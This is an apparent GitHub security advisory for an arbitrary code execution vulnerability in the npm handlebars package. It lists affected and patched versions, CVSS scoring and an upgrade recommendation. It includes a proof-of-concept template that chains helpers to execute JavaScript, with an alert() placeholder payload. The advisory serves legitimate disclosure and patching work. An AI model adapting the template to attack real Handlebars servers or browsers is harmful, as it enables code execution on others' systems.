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Arbitrary Code Execution in handlebars

High severity GitHub Reviewed Published Sep 4, 2020 to the GitHub Advisory Database • Updated Feb 7, 2024

Package

npm handlebars (npm)

Affected versions

< 3.0.8
>= 4.0.0, < 4.5.2

Patched versions

3.0.8
4.5.2

Description

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:

	{{#with split as |a|}}
		{{pop (push "alert('Vulnerable Handlebars JS');")}}
		{{#with (concat (lookup join (slice 0 1)))}}
			{{#each (slice 2 3)}}
				{{#with (apply 0 a)}}
					{{.}}
				{{/with}}
			{{/each}}
		{{/with}}
	{{/with}}
{{/with}}```


## Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.
### References
- https://www.npmjs.com/advisories/1316
Reviewed Aug 31, 2020
Published to the GitHub Advisory Database Sep 4, 2020
Last updated Feb 7, 2024

Severity

High
7.3
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-2cf5-4w76-r9qv

Source code

No known source code

Credits

Checking history
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